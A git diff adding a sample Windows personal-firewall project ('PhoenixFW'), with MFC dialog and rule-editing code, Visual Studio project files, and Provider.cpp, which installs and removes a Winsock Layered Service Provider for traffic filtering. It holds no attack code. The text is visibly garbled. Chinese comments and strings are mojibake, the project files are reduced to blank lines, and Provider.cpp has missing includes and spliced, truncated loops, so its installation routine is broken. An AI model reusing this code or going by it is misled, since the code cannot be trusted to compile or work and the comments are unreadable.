"res\\bitmap1.bmp" + +///////////////////////////////////////////////////////////////////////////// +// +// String Table +// + +STRINGTABLE DISCARDABLE +BEGIN + IDS_ABOUTBOX "¹ØÓÚ PhoenixFW(&A)..." +END + +#endif // Chinese (P.R.C.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// +#define _AFX_NO_SPLITTER_RESOURCES +#define _AFX_NO_OLE_RESOURCES +#define _AFX_NO_TRACKER_RESOURCES +#define _AFX_NO_PROPERTY_RESOURCES + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE 4, 2 +#pragma code_page(936) +#endif //_WIN32 +#include "res\PhoenixFW.rc2" // non-Microsoft Visual C++ edited resources +#include "l.chs\afxres.rc" // Standard components +#endif + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln" new file mode 100644 index 0000000..ba07ebd --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhoenixFW", "PhoenixFW.vcproj", "{1FB87E7D-CA1F-49EE-BBFD-630239A84546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.ActiveCfg = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.Build.0 = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.ActiveCfg = Release|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln.old" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln.old" new file mode 100644 index 0000000..76cbf29 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.sln.old" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhoenixFW", "PhoenixFW.vcproj", "{1FB87E7D-CA1F-49EE-BBFD-630239A84546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.ActiveCfg = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Debug|Win32.Build.0 = Debug|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.ActiveCfg = Release|Win32 + {1FB87E7D-CA1F-49EE-BBFD-630239A84546}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo" new file mode 100644 index 0000000..0ff00c5 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo.old" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo.old" new file mode 100644 index 0000000..b89dee5 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.suo.old" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj" new file mode 100644 index 0000000..5983fd9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj" @@ -0,0 +1,594 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj.8.00.old" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj.8.00.old" new file mode 100644 index 0000000..50b8869 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFW.vcproj.8.00.old" @@ -0,0 +1,595 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.cpp" new file mode 100644 index 0000000..c09a0ef --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.cpp" @@ -0,0 +1,283 @@ +// PhoenixFWDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CAboutDlg dialog used for App About + + +extern CPhoenixApp theApp; + +class CAboutDlg : public CDialog +{ +public: + CAboutDlg(); + +// Dialog Data + //{{AFX_DATA(CAboutDlg) + enum { IDD = IDD_ABOUTBOX }; + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CAboutDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + //{{AFX_MSG(CAboutDlg) + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) +{ + //{{AFX_DATA_INIT(CAboutDlg) + //}}AFX_DATA_INIT +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CAboutDlg) + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) + //{{AFX_MSG_MAP(CAboutDlg) + // No message handlers + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg dialog + +CMainDlg::CMainDlg(CWnd* pParent /*=NULL*/) + : CDialog(CMainDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CMainDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT + // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); +} + +void CMainDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CMainDlg) + // NOTE: the ClassWizard will add DDX and DDV calls here + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CMainDlg, CDialog) + //{{AFX_MSG_MAP(CMainDlg) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() + ON_MESSAGE(PM_QUERY_ACL_NOTIFY, OnQueryAcl) + ON_MESSAGE(PM_SESSION_NOTIFY, OnSessionNotify) + ON_BN_CLICKED(IDC_APPLY, OnApply) + ON_BN_CLICKED(IDC_ANNUL, OnAnnul) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg message handlers + +BOOL CMainDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // Add "About..." menu item to system menu. + + // IDM_ABOUTBOX must be in the system command range. + ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); + ASSERT(IDM_ABOUTBOX < 0xF000); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + CString strAboutMenu; + strAboutMenu.LoadString(IDS_ABOUTBOX); + if (!strAboutMenu.IsEmpty()) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // Set the icon for this dialog. The framework does this automatically + // when the application's main window is not a dialog + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + // TODO: Add extra initialization here + + + // ÉèÖù²ÏíÊý¾Ý + TCHAR sz[256]; + ::GetModuleFileName(NULL, sz, 256); + g_pIoControl->SetPhoenixInstance(m_hWnd, sz); + + // ÏòÊôÐÔÒ³ÖмÓÈë±êÇ©£¬±êÇ©ÃûÓɸ÷¸ö×Ó¶Ô»°¿òµÄ±êÌâÀ¸¾ö¶¨ + m_sheet.AddPage(&m_MonitorPage); + m_sheet.AddPage(&m_RulePage); + m_sheet.AddPage(&m_KerRulePage); + m_sheet.AddPage(&m_SyssetPage); + + // ÓÃCreateÀ´´´½¨Ò»¸öÊôÐÔÒ³ + m_sheet.Create(this, WS_CHILD | WS_VISIBLE, WS_EX_CONTROLPARENT); + + // µ÷ÕûÊôÐÔÒ³µÄ´óСºÍλÖà + RECT rect; + GetWindowRect(&rect); + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + m_sheet.SetWindowPos(NULL, + 0, 0, width - 4, height - 25, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE); + + // ÎÞЧ¡°Ó¦Óá±°´Å¥ + GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); + + return TRUE; // return TRUE unless you set the focus to a control +} + +void CMainDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialog::OnSysCommand(nID, lParam); + } +} + +// If you add a minimize button to your dialog, you will need the code below +// to draw the icon. For MFC applications using the document/view model, +// this is automatically done for you by the framework. + +void CMainDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // device context for painting + + SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); + + // Center icon in client rectangle + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // Draw the icon + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialog::OnPaint(); + } +} + +// The system calls this to obtain the cursor to display while the user drags +// the minimized window. +HCURSOR CMainDlg::OnQueryDragIcon() +{ + return (HCURSOR) m_hIcon; +} + + +long CMainDlg::OnQueryAcl(WPARAM wParam, LPARAM lParam) // ´¦ÀíPM_QUERY_ACL_NOTIFYÏûÏ¢ +{ + // »ñȡѯÎʵÄÓ¦ÓóÌÐòÃû³Æ + LPCTSTR lpszApp = g_pIoControl->GetQueryApp(wParam); + + if(CRulePage::AddQueryRule(lpszApp)) + g_pIoControl->SetQueryApp(wParam, 1); // ·ÅÐÐ + else + g_pIoControl->SetQueryApp(wParam, 0); // ¾Ü¾ø + + return 0; +} + +long CMainDlg::OnSessionNotify(WPARAM wParam, LPARAM lParam) // ´¦ÀíPM_SESSION_NOTIFYÏûÏ¢ +{ + SESSION session; + // »ñÈ¡DLL·¢ËÍÀ´µÄSession + g_pIoControl->GetSession(&session, wParam); + // ½«Session´«µÝ¸øCMonitorPageÀà + CMonitorPage::HandleNotifySession(&session, lParam); + return 0; +} + +void CMainDlg::OnApply() // Óû§µã»÷¡°Ó¦Óá±°´Å¥ +{ + if(!GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + return; + + // ½«Óû§µÄÉèÖñ£´æµ½Îļþ + if(!g_RuleFile.SaveRules()) + { + MessageBox(L"±£´æ¹æÔò³ö´í¡£"); + return; + } + // ½«ÎļþÖеÄÊý¾ÝÓ¦Óõ½DLLÄ£¿éºÍSYSÄ£¿é + if(!theApp.ApplyFileData()) + return; + + // ÉèÖÿª»ú×Ô¶¯Æô¶¯ + theApp.SetAutoStart(g_RuleFile.m_header.bAutoStart); + + // ÎÞЧ±¾°´Å¥ + GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); +} + +void CMainDlg::OnAnnul() // Óû§µã»÷¡°È¡Ïû¡±°´Å¥ +{ + if(GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + { + if(AfxMessageBox(L"Òª±£´æËù×öµÄÐÞ¸ÄÂð£¿", MB_YESNO) == IDYES) + { + OnApply(); + } + } + // ×îС»¯´°¿Ú + SendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); +} + +void CMainDlg::OnOK() // Óû§µã»÷¡°È·¶¨¡±°´Å¥ +{ + // Ó¦ÓÃÓû§ÉèÖà + OnApply(); + // ×îС»°´°¿Ú + SendMessage(WM_SYSCOMMAND, SC_MINIMIZE, 0); +} + +void CMainDlg::OnCancel() // Óû§¹Ø±Õ¶Ô»°¿ò +{ + if(GetDlgItem(IDC_APPLY)->IsWindowEnabled()) + { + if(AfxMessageBox(L"Òª±£´æËù×öµÄÐÞ¸ÄÂð£¿", MB_YESNO) == IDYES) + { + OnApply(); + } + } + + CDialog::OnCancel(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.h" new file mode 100644 index 0000000..8f4bdfc --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixFWDlg.h" @@ -0,0 +1,67 @@ +// PhoenixFWDlg.h : header file +// + +#if !defined(AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_) +#define AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +///////////////////////////////////////////////////////////////////////////// +// CMainDlg dialog + +#include "MonitorPage.h" +#include "RulePage.h" +#include "SyssetPage.h" +#include "KerRulePage.h" + +class CMainDlg : public CDialog +{ +// Construction +public: + CMainDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CMainDlg) + enum { IDD = IDD_PHOENIXFW_DIALOG }; + // NOTE: the ClassWizard will add data members here + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CMainDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +public: + HICON m_hIcon; + + CPropertySheet m_sheet; // ÊôÐÔÒ³£¬ÓÃÓÚÈÝÄÉÏÂÃæ4¸ö±êÇ©£¨Ò³Ã棩 + + CRulePage m_RulePage; // ÍøÂç·ÃÎʼàÊÓÒ³Ãæ + CMonitorPage m_MonitorPage; // Ó¦Óòã¹ýÂ˹æÔòÒ³Ãæ + CSyssetPage m_SyssetPage; // ºËÐIJã¹ýÂ˹æÔòÒ³Ãæ + CKerRulePage m_KerRulePage; // ϵͳÉèÖÃÒ³Ãæ + + // Generated message map functions + //{{AFX_MSG(CMainDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + virtual void OnOK(); + afx_msg long OnQueryAcl(WPARAM wParam, LPARAM lParam); + afx_msg long OnSessionNotify(WPARAM wParam, LPARAM lParam); + afx_msg void OnApply(); + virtual void OnCancel(); + afx_msg void OnAnnul(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_PHOENIXFWDLG_H__9610B9FB_FA76_47FE_BAEE_177797F7B329__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixLSP.dll" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixLSP.dll" new file mode 100644 index 0000000..80b2f48 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PhoenixLSP.dll" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/Provider.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/Provider.cpp" new file mode 100644 index 0000000..d7f96b4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/Provider.cpp" @@ -0,0 +1,281 @@ +///////////////////////////////////////////////// +// ½ðÓð(Phoenix)¸öÈË·À»ðǽ V1.1 + + + +#include "stdafx.h" + +#include +#include + + +// Òª°²×°µÄLSPµÄÓ²±àÂ룬ÔÚÒƳýµÄʱºò»¹ÒªÊ¹ÓÃËü +GUID ProviderGuid = {0xd3c21122, 0x85e1, 0x48f3, + {0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}}; + + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + + + +BOOL InstallProvider(WCHAR *pwszPathName) +{ + WCHAR wszLSPName[] = L"PhoenixLSP"; + LPWSAPROTOCOL_INFOW pProtoInfo; + int nProtocols; + WSAPROTOCOL_INFOW OriginalProtocolInfo[3]; + DWORD dwOrigCatalogId[3]; + int nArrayCount = 0; + + DWORD dwLayeredCatalogId; // ÎÒÃÇ·Ö²ãЭÒéµÄĿ¼IDºÅ + + int nError; + + // ÕÒµ½ÎÒÃǵÄϲãЭÒ飬½«ÐÅÏ¢·ÅÈëÊý×éÖÐ + // ö¾ÙËùÓзþÎñ³ÌÐòÌṩÕß + pProtoInfo = GetProvider(&nProtocols); + BOOL bFindUdp = FALSE; + BOOL bFindTcp = FALSE; + BOOL bFindRaw = FALSE; + int i=0; + for(i ; i0; j--) + { + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j] + = OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j-1]; + } + } + OriginalProtocolInfo[i].ProtocolChain.ChainLen ++; + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId; + } + // »ñÈ¡Ò»¸öGuid£¬°²×°Ö® + GUID ProviderChainGuid; + if(::UuidCreate(&ProviderChainGuid) == RPC_S_OK) + { + if(::WSCInstallProvider(&ProviderChainGuid, + pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR) + { + return FALSE; + } + } + else + return FALSE; + + // ½«ÎÒÃǵÄЭÒéÌáÇ°£¬ÖØÐÂÅÅÐòWinsockĿ¼ + // ÖØÐÂö¾Ù°²×°µÄЭÒé + FreeProvider(pProtoInfo); + pProtoInfo = GetProvider(&nProtocols); + + DWORD dwIds[20]; + int nIndex = 0; + // Ìí¼ÓÎÒÃǵÄЭÒéÁ´ + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId; + } + // Ìí¼ÓÆäËüЭÒé + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + { + ::WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError); + } + } + // ÒƳý·Ö²ãЭÒé + ::WSCDeinstallProvider(&ProviderGuid, &nError); + } + + return TRUE; +} + + + + + + + + + + + + + +///////////////////////////////////////////////////////////////////// +void RemoveAllLayeredEntries() +{ + BOOL bLayer; + int ErrorCode, + i; + + int TotalProtocols; + + LPWSAPROTOCOL_INFOW ProtocolInfo; + + while (1) + { + bLayer = FALSE; + ProtocolInfo = GetProvider(&TotalProtocols); + if (!ProtocolInfo) + { + printf("Unable to enumerate Winsock catalog!\n"); + return; + } + for(i=0; i < TotalProtocols ;i++) + { + if (ProtocolInfo[i].ProtocolChain.ChainLen != BASE_PROTOCOL) + { + bLayer = TRUE; + printf("Removing '%S'\n", ProtocolInfo[i].szProtocol); + if (WSCDeinstallProvider(&ProtocolInfo[i].ProviderId, &ErrorCode) == SOCKET_ERROR) + { + printf("Failed to remove [%s]: Error %d\n", ProtocolInfo[i].szProtocol, ErrorCode); + } + break; + } + } + FreeProvider(ProtocolInfo); + if (bLayer == FALSE) + { + break; + } + + } +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.cpp" new file mode 100644 index 0000000..7d1f7cd --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.cpp" @@ -0,0 +1,250 @@ +// RuleDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "RuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg dialog + +RULE_ITEM CRuleDlg::m_RuleItem; +BOOL CRuleDlg::m_bAppQuery = FALSE; +CString CRuleDlg::m_sPathName; + + +CRuleDlg::CRuleDlg(CWnd* pParent /*=NULL*/) + : CDialog(CRuleDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CRuleDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + + +void CRuleDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CRuleDlg) + DDX_Control(pDX, IDC_TYPE, m_ComboType); + DDX_Control(pDX, IDC_RULE_TITLE, m_RuleTitle); + DDX_Control(pDX, IDC_PORT, m_EditPort); + DDX_Control(pDX, IDC_MEMO, m_EditMemo); + DDX_Control(pDX, IDC_DIRECTION, m_ComboDirection); + DDX_Control(pDX, IDC_ACTION, m_ComboAction); + DDX_Control(pDX, IDC__APPLICATION, m_ComboApp); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CRuleDlg, CDialog) + //{{AFX_MSG_MAP(CRuleDlg) + ON_CBN_SELCHANGE(IDC_TYPE, OnSelchangeType) + ON_CBN_SELCHANGE(IDC__APPLICATION, OnSelchangeApplication) + ON_BN_CLICKED(IDC_BROWSER, OnAppBrowser) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg message handlers + +BOOL CRuleDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // ³õʼ»¯´°¿ÚÖеĸ÷¸ö¿Ø¼þ×ÊÔ´ + // ²ÉÈ¡µÄ¶¯×÷ + m_ComboAction.InsertString(0, L"·ÅÐÐ"); + m_ComboAction.InsertString(1, L"¾Ü¾ø"); + + // ½ø³ö·½Ïò + m_ComboDirection.InsertString(0, L"½ø"); + m_ComboDirection.InsertString(1, L"³ö"); + m_ComboDirection.InsertString(2, L"Ë«Ïò"); + + // ·þÎñÀàÐÍ + m_ComboType.InsertString(0, L"È«²¿"); + m_ComboType.InsertString(1, L"TCP"); + m_ComboType.InsertString(2, L"UDP"); + m_ComboType.InsertString(3, L"FTP"); + m_ComboType.InsertString(4, L"TELNET"); + m_ComboType.InsertString(5, L"HTTP"); + m_ComboType.InsertString(6, L"NNTP"); + m_ComboType.InsertString(7, L"POP3"); + m_ComboType.InsertString(8, L"SMTP"); + + // Ó¦ÓóÌÐòÃû³Æ + for(int i=0; i< (int)g_RuleFile.m_header.ulLspRuleCount; i++) + { + if(m_ComboApp.FindString(0, g_RuleFile.m_pLspRules[i].szApplication) == CB_ERR) + m_ComboApp.AddString(g_RuleFile.m_pLspRules[i].szApplication); + } + + // ÉèÖø÷¿Ø¼þµÄ³õʼ״̬ + // ³õʼ»¯Ó¦ÓóÌÐòÃû³Æ + if(m_bAppQuery) + { + CString s; + s.Format(L"%s Òª·ÃÎÊÍøÂ磬·ÅÐÐÂð£¿", m_sPathName); + m_RuleTitle.SetWindowText(s); + m_ComboApp.SetWindowText(m_sPathName); + } + else + { + if(_tcscmp(m_RuleItem.szApplication, L"") != 0) + { + m_RuleTitle.SetWindowText(m_RuleItem.szApplication); + m_ComboApp.SetWindowText(m_RuleItem.szApplication); + } + } + // Èç¹ûÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ£¬¾Í½ûÓá°ä¯ÀÀ¡±°´Å¥ºÍÓ¦ÓóÌÐòÃû³Æ×éºÏ¿ò + GetDlgItem(IDC_BROWSER)->EnableWindow(!m_bAppQuery); + m_ComboApp.EnableWindow(!m_bAppQuery); + + // ¸ù¾Ý¹æÔò£¬³õʼ»¯¶¯×÷¡¢·½Ïò¡¢ÀàÐÍ×éºÏ¿òµÄÏÔʾ + m_ComboAction.SetCurSel(m_RuleItem.ucAction); + m_ComboDirection.SetCurSel(m_RuleItem.ucDirection); + m_ComboType.SetCurSel(m_RuleItem.ucServiceType); + + // ÉèÖö˿ںű༭¿òÖеÄ״̬ + OnSelchangeType() ; + // ÉèÖö˿ںű༭¿òÖеÄÄÚÈÝ + CString s; + s.Format(L"%d", m_RuleItem.usServicePort); + m_EditPort.SetLimitText(5); + m_EditPort.SetWindowText(s); + + // ÉèÖñ¸×¢±à¼­¿ò + m_EditMemo.SetLimitText(50); + m_EditMemo.SetWindowText(m_RuleItem.sDemo); + + // Èç¹ûÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ£¬¾Í½«´°¿ÚÌáÖÁ×îÇ° + if(m_bAppQuery) + { + ModifyStyleEx(WS_EX_TOOLWINDOW, WS_EX_APPWINDOW); + ::SetWindowPos(m_hWnd,HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); + } + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CRuleDlg::OnSelchangeType() // Óû§¸Ä±ä·þÎñÀàÐÍ×éºÏ¿òʱ£¬´Ëº¯Êý±»µ÷Óà +{ + int nIndex = m_ComboType.GetCurSel(); + + // ¸ù¾ÝÓû§Ñ¡ÔñµÄ·þÎñÀàÐ;ö¶¨ÊÇ·ñÓÐЧ¶Ë¿ÚºÅ±à¼­¿ð£¬ÒÔ¼°¶Ë¿ÚºÅµÄĬÈÏÖµ + BOOL bEnable = TRUE; + USHORT usPort = RULE_SERVICE_PORT_ALL; + switch(nIndex) + { + case RULE_SERVICE_TYPE_ALL: + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_TCP: + break; + case RULE_SERVICE_TYPE_UDP: + break; + case RULE_SERVICE_TYPE_FTP: + usPort = RULE_SERVICE_PORT_FTP; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_TELNET: + usPort = RULE_SERVICE_PORT_TELNET; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_HTTP: + usPort = RULE_SERVICE_PORT_HTTP; + bEnable = FALSE; + break; + case 